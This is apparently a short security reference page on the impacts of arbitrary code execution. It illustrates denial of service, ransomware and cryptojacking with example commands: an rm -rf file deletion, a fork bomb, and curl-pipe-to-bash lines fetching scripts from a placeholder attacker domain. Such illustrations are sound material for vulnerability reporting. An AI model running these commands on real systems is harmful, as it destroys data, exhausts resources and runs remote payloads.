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Arbitrary_Code_Execution.md

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Arbitrary Code Execution

Description

Due to its nature, code execution inherently encompasses most of the impacts and risks associated with vulnerabilities addressed in other files.

Table of Contents

Denial of Service

It could lead to the service interruption.

  • Deleting critical files

        rm -rf /app/data/uploads/sensitive_file.txt

  • Fork bomb

    :(){:|:&};:

Ransomware Deployment

It could lead to data being held for ransom.

  • Malicious script (or file) execution. 
    curl -s https://[ATTACKER-DOMAIN]/encrypt.sh | bash

Cryptojacking

The victim's resources may be used for cryptocurrency mining, which requires significant resources.

  • Cryptocurrency mining 
    curl -s https://[ATTACKER-DOMAIN]/mining.sh | bash